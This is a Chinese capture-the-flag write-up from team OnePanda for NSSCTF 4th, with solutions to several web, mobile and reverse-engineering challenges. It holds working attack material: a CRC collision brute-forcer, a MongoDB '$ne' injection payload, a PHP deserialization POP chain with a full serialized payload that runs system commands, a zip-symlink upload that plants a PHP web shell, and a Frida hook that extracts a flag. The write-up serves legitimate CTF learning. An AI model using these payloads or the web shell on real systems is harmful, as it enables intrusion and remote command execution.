NSSCTF 4th OnePanda战队 wp
Web
EzCRC
php
<?php
// function compute_crc16($data) {
// $checksum = 0xFFFF;
// for ($i = 0; $i < strlen($data); $i++) {
// $checksum ^= ord($data[$i]);
// for ($j = 0; $j < 8; $j++) {
// if ($checksum & 1) {
// $checksum = (($checksum >> 1) ^ 0xA001);
// } else {
// $checksum >>= 1;
// }
// }
// }
// return $checksum;
// }
// function calculate_crc8($input) {
// static $crc8_table = [
// 0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
// 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
// 0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
// 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
// 0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
// 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
// 0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
// 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
// 0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
// 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
// 0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
// 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
// 0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
// 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
// 0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
// 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
// 0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
// 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
// 0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
// 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
// 0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
// 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
// 0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
// 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
// 0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
// 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
// 0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
// 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
// 0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
// 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
// 0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
// 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
// ];
// $bytes = unpack('C*', $input);
// $length = count($bytes);
// $crc = 0;
// for ($k = 1; $k <= $length; $k++) {
// $crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
// }
// return $crc & 0xff;
// }
// $SECRET_PASS = "Enj0yNSSCTF4th!";
// $correct_pass_crc16 = compute_crc16($SECRET_PASS);
// var_dump($correct_pass_crc16);
// $correct_pass_crc8 = calculate_crc8($SECRET_PASS);
// var_dump($correct_pass_crc8);
// 1. 复制原代码中的CRC计算函数(确保与目标环境一致)
function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}
function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];
$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}
$original_pass = "Enj0yNSSCTF4th!";
$target_crc16 = 17262;
$target_crc8 = 163;
$length = strlen($original_pass);
echo "开始爆破...\n";
echo "目标长度: $length\n";
echo "目标CRC16: $target_crc16\n";
echo "目标CRC8: $target_crc8\n\n";
// 生成所有可能的字符组合
$chars = array_merge(
range('0', '9'),
range('a', 'z'),
range('A', 'Z'),
['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '[', ']', '{', '}', ';', ':', ',', '.', '<', '>', '/', '?', '|', '\\']
);
$found = false;
$attempts = 0;
$start_time = microtime(true);
// 使用随机尝试方法,因为暴力破解所有组合计算量太大
while (!$found) {
$attempts++;
// 生成随机字符串
$candidate = '';
for ($i = 0; $i < $length; $i++) {
$candidate .= $chars[array_rand($chars)];
}
// 跳过原始密码
if ($candidate === $original_pass) {
continue;
}
// 计算CRC值
$crc16 = compute_crc16($candidate);
$crc8 = calculate_crc8($candidate);
if ($attempts % 10000 === 0) {
echo "已尝试: $attempts 次, 最新候选: $candidate\n";
}
if ($crc16 === $target_crc16 && $crc8 === $target_crc8) {
$found = true;
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
echo "\n成功找到碰撞!\n";
echo "候选字符串: $candidate\n";
echo "CRC16: $crc16\n";
echo "CRC8: $crc8\n";
echo "尝试次数: $attempts\n";
echo "耗时: " . round($elapsed, 2) . " 秒\n";
// 验证
echo "\n验证:\n";
echo "原始密码: $original_pass\n";
echo "碰撞密码: $candidate\n";
echo "是否相同: " . ($original_pass === $candidate ? "是" : "否") . "\n";
break;
}
}
if (!$found) {
echo "未找到碰撞,请增加尝试次数或调整策略。\n";
}
?>

ez_signin
这是一题mongoDB查询注入的题目
直接改为json格式
json
{
"title": {"$ne": ""}
}

[mpga]filesystem
源码如下
php
<?php
class ApplicationContext{
public $contextName;
public function __construct(){
$this->contextName = 'ApplicationContext';
}
public function __destruct(){
$this->contextName = strtolower($this->contextName);
}
}
class ContentProcessor{
private $processedContent;
public $callbackFunction;
public function __construct(){
$this->processedContent = new FunctionInvoker();
}
public function __get($key){
if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {
$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}
class FileManager{
public $targetFile;
public $responseData = 'default_response';
public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}
public function filterPath(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
die('文件路径不符合规范');
}
}
public function performWriteOperation($var){
$targetObject = $this->targetFile;
$value = $targetObject->$var;
}
public function getFileHash(){
$this->filterPath();
if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希: " . htmlspecialchars($md5_hash);
} else {
die("文件未找到");
}
} else if (is_object($this->targetFile)) {
try {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {
return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
}
} else {
die("文件未找到");
}
}
public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}
class FunctionInvoker{
public $functionName;
public $functionArguments;
public function __call($name, $arg){
if (function_exists($name)) {
$name($arg[0]);
}
}
}
$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = '';
$upload_dir = "upload/";
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
if ($action === 'upload_file') {
if(isset($_POST['submit'])){
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
$allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
$file_info = pathinfo($_FILES['upload_file']['name']);
$file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');
if (!in_array($file_extension, $allowed_extensions)) {
$output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
} else {
$unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
$upload_path = $upload_dir . $unique_filename;
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
$output = "<p class='text-green-600'>文件上传成功!</p>";
$output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
} else {
$output = "<p class='text-red-600'>上传失败!</p>";
}
}
} else {
$output = "<p class='text-red-600'>请选择一个文件上传。</p>";
}
}
}
if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
}
}
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件管理系统</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
}
</style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen px-4 py-8">
<div class="bg-white p-6 md:p-8 rounded-lg shadow-md w-full max-w-4xl mx-auto">
<h1 class="text-3xl font-bold mb-6 text-gray-800 text-center">文件管理系统</h1>
<div class="flex justify-center mb-6 space-x-4">
<a href="?action=home" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'home' ? 'bg-indigo-600 text-white' : 'bg-indigo-100 text-indigo-800 hover:bg-indigo-200'; ?>">主页</a>
<a href="?action=upload_file" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'upload_file' ? 'bg-blue-600 text-white' : 'bg-blue-100 text-blue-800 hover:bg-blue-200'; ?>">上传文件</a>
</div>
<?php if ($action === 'home'): ?>
<div class="text-center">
<p class="text-lg text-gray-700 mb-4">欢迎使用文件管理系统。</p>
<p class="text-sm text-gray-500 mb-6">
为了确保文件一致性和完整性,请在下载前校验md5值,完成下载后进行对比。
</p>
<h2 class="text-2xl font-bold mb-4 text-gray-800">文件列表</h2>
<div class="max-h-60 overflow-y-auto border border-gray-200 rounded-lg p-2 bg-gray-50">
<?php
$files = array_diff(scandir($upload_dir), array('.', '..'));
if (empty($files)) {
echo "<p class='text-gray-500'>暂无文件。</p>";
} else {
echo "<ul class='text-left space-y-2'>";
foreach ($files as $file) {
$file_path = $upload_dir . $file;
echo "<li class='flex items-center justify-between p-2 bg-white rounded-md shadow-sm'>";
echo "<span class='text-gray-700 break-all mr-2'>" . htmlspecialchars($file) . "</span>";
echo "<div class='flex space-x-2'>";
echo "<a href='" . htmlspecialchars($file_path) . "' download class='bg-blue-500 hover:bg-blue-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>下载</a>";
echo "<form action='?action=home' method='POST' class='inline-block'>";
echo "<input type='hidden' name='file_to_check' value='" . htmlspecialchars($file_path) . "'>";
echo "<button type='submit' name='submit_md5' class='bg-purple-500 hover:bg-purple-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>校验MD5</button>";
echo "</form>";
echo "</div>";
echo "</li>";
}
echo "</ul>";
}
?>
</div>
<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="lg font-semibold mb-2 text-gray-800">校验结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
</div>
<?php elseif ($action === 'upload_file'): ?>
<h2 class="text-2xl font-bold mb-4 text-gray-800 text-center">上传文件</h2>
<form action="?action=upload_file" method="POST" enctype="multipart/form-data" class="space-y-4">
<label for="upload_file" class="block text-gray-700 text-sm font-bold mb-2">选择文件:</label>
<input type="file" name="upload_file" id="upload_file" class="block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 focus:outline-none">
<button type="submit" name="submit" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-semibold py-2 px-4 rounded-lg transition duration-300 ease-in-out">
上传
</button>
</form>
<?php if (!empty($output)): ?>
<div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
<h3 class="text-lg font-semibold mb-2 text-gray-800">上传结果:</h3>
<?php echo $output; ?>
</div>
<?php endif; ?>
<p class="mt-6 text-center text-sm text-gray-500">
只允许上传 .txt, .png, .gif, .jpg 文件。
</p>
<?php endif; ?>
</div>
</body>
</html>
先寻找反序列化入口点
在home动作中,处理MD5校验的代码
php
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
// ...
$file_object = @unserialize($filename_param); // <-- 反序列化用户输入
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
这里直接对用户输入的 file_to_check
参数进行了反序列化。如果反序列化成功且对象是 FileManager
实例,则使用反序列化后的对象;否则,将输入作为字符串创建新的 FileManager
对象。
关键点: 用户可以通过POST参数 file_to_check
传入一个序列化字符串,程序会对其进行反序列化。这构成了一个反序列化漏洞。
寻找POP链(Property-Oriented Programming)
我们需要利用反序列化漏洞,通过精心构造的对象链(POP链)调用危险函数。分析各个类的魔法方法:
-
•ApplicationContext : 有
__destruct
方法,但只是简单操作属性,似乎没有直接利用点。 -
•ContentProcessor : 有
__get
方法。当访问一个不存在的或不可访问的属性时,会触发此方法。 -
•FileManager : 有
__toString
方法。当对象被当作字符串使用时触发(例如在echo
或字符串拼接时)。还有performWriteOperation
方法,其中存在动态调用$targetObject->$var
。 -
•FunctionInvoker : 有
__call
方法。当调用一个不存在或不可访问的方法时触发。
php
<?php
class ApplicationContext{
public $contextName;
public function __construct(){
$this->contextName = 'ApplicationContext';
}
}
class ContentProcessor{
private $processedContent;
public $callbackFunction;
public function __construct($pc, $cf){
$this->processedContent = $pc;
$this->callbackFunction = $cf;
}
}
class FileManager{
public $targetFile;
public $responseData = 'default_response';
public function __construct($tf, $rd){
$this->targetFile = $tf;
$this->responseData = $rd;
}
}
class FunctionInvoker{
public $functionName;
public $functionArguments;
}
// 构造链
$fi = new FunctionInvoker(); // FunctionInvoker对象,用于最终执行命令
$cp = new ContentProcessor($fi, "system"); // ContentProcessor对象,设置callbackFunction为system,processedContent为$fi
$obj1 = new FileManager($cp, "anything"); // FileManager对象,targetFile为$cp,responseData任意
$obj2 = new FileManager($obj1, $obj1); // 外层FileManager,targetFile为$obj1,responseData为$obj1(为了触发__toString)
echo urlencode(serialize($obj2));
?>

抓取校验MD5的包改为
file_to_check=O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A2%3A%7Bs%3A12%3A%22functionName%22%3BN%3Bs%3A17%3A%22functionArguments%22%3BN%3B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A8%3A%22anything%22%3B%7Ds%3A12%3A%22responseData%22%3Br%3A2%3B%7D&submit_md5=&method=performWriteOperation&var=processedContent&cmd=cat+/flag

ez_upload
这题打法其实跟2023国赛ciscn的unzip做法是差不多的
先创建一个软连接test

这是其中一个test1.zip
再做test2.zip
rm -f test; mkdir -p test
cat > test/shell.php <<'PHP'
<?php
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
PHP
再进行

然后上传test2.zip
同时访问/shell.php?cmd=cat /f*

MOBILE
我是谁?!
发现是一个apk,于是先拖到安卓模拟器里运行

注册登录后发现这样一个窗口,于是拖到jadx里反编译一下,搜索一下onclick

看到几个确定和关闭的按钮,猜测是刚才显示交互的那个弹窗相关的逻辑,点进去

一并看一下MainActivity

导出源代码


这里m55lambda$onCreate$0$comexamplenss_4thmessagesMainActivity
方法是用户账号检验权限
PR.java中showCND
(高权限用户 Flag 展示)、stringFromJNI
(Native 层 Flag 获取)、showMultiDialogs
(低权限用户消息展示)和SelectUsers.java中priv
(根据账号查询权限等级,返回整数结果)
应用的核心逻辑是 "账号权限决定展示内容",完整流程可分为三个关键步骤:
-
账号有效性校验 :在
MainActivity
的m55lambda$onCreate$0$comexamplenss_4thmessagesMainActivity
方法中,首先判断userAccount
是否为空。若为空,弹出 "未获取到用户账号" 的 Toast 提示并终止流程;若账号有效,则进入权限查询环节。 -
数据库权限查询 :通过
new SelectUsers()
创建数据库操作实例,调用priv(userAccount)
方法查询当前账号的权限等级。该方法返回整数结果,其中result=1
代表高权限,非 1 代表低权限。 -
根据权限展示内容:
-
高权限(
result=1
):调用PR.showCND(this)
,触发 Flag 展示逻辑; -
低权限(
result≠1
):调用PR.showMultiDialogs(this, messages)
,仅展示普通消息列表,无 Flag 相关内容。
-
由于 Flag 存储在 Native 层,但stringFromJNI
是PR
类的公共方法,无需复杂的权限绕过或数据库篡改,直接通过动态插桩工具 Hook 该方法即可获取返回值。选用Frida
作为插桩工具,原因在于其无需修改应用代码、支持动态注入、开发效率高,适合快速获取 JNI 方法返回值。
java
Java.perform(function () {
// 1. 加载PR类
var PRClass = Java.use('com.example.nss_4th.ad.PR');
try {
// 2. 创建PR实例(因stringFromJNI为实例方法,需实例化调用)
var prInstance = PRClass.$new();
// 3. 调用JNI方法获取Flag并打印
var flag = prInstance.stringFromJNI();
console.log("[+] 成功获取Flag:", flag);
} catch (e) {
// 4. 异常捕获,输出错误信息
console.log("[-] 获取Flag失败,错误信息:", e.message);
}
});
NSSCTF{Y3s!NSS_hAs_r34ched_iTs_4th_5nNiv4rsar9}
RE
checkit
下载下来发现是一个 apk,先用安卓模拟器打开看看怎么回事

发现是按钮交互,于是去 jdax 里搜按钮相关内容

找到了这样的一段代码

看内容有 input 有 result,并且是 MainActivity,猜测是核心代码

这里说明核心逻辑在 libcheck.so 里,把 apk 解压开找一下

为了方便 ida 的反编译,这里用 x86_64 的文件,拖到 ida 里,直接从字符串里找核心部分

猜测是这一段,直接点进去,跳转,然后反编译,怎么看怎么像核心逻辑

读完之后发现是一个 VM 字节码程序,把 code[]和 cmp_data 数组里的东西导出一下,写一
个解码程序就行了

Flag 为 NSSCTF{C0ngr@tulation!Y0N_s33m_7o_b3_gO0d_@t_vm!!}
CrackMe&F***Me
先运行一下

扔到 exeinfo pe 里,发现一切正常,用 DIE 查一下

发现是用 python 写的,尝试用 pyinstxtractor 解包

内容缺失,于是直接用 ida 打开,但是从 string 里搜不到我们刚才运行时的字符串

这里负责读入各个包

这里来判断压缩包

接下来进入到 sub_7FF6D11011F0()里


这里找到了 magic number,往上找可以找到解压逻辑

写解压代码

成功解压

反编译一下

写解密代码,破解成功
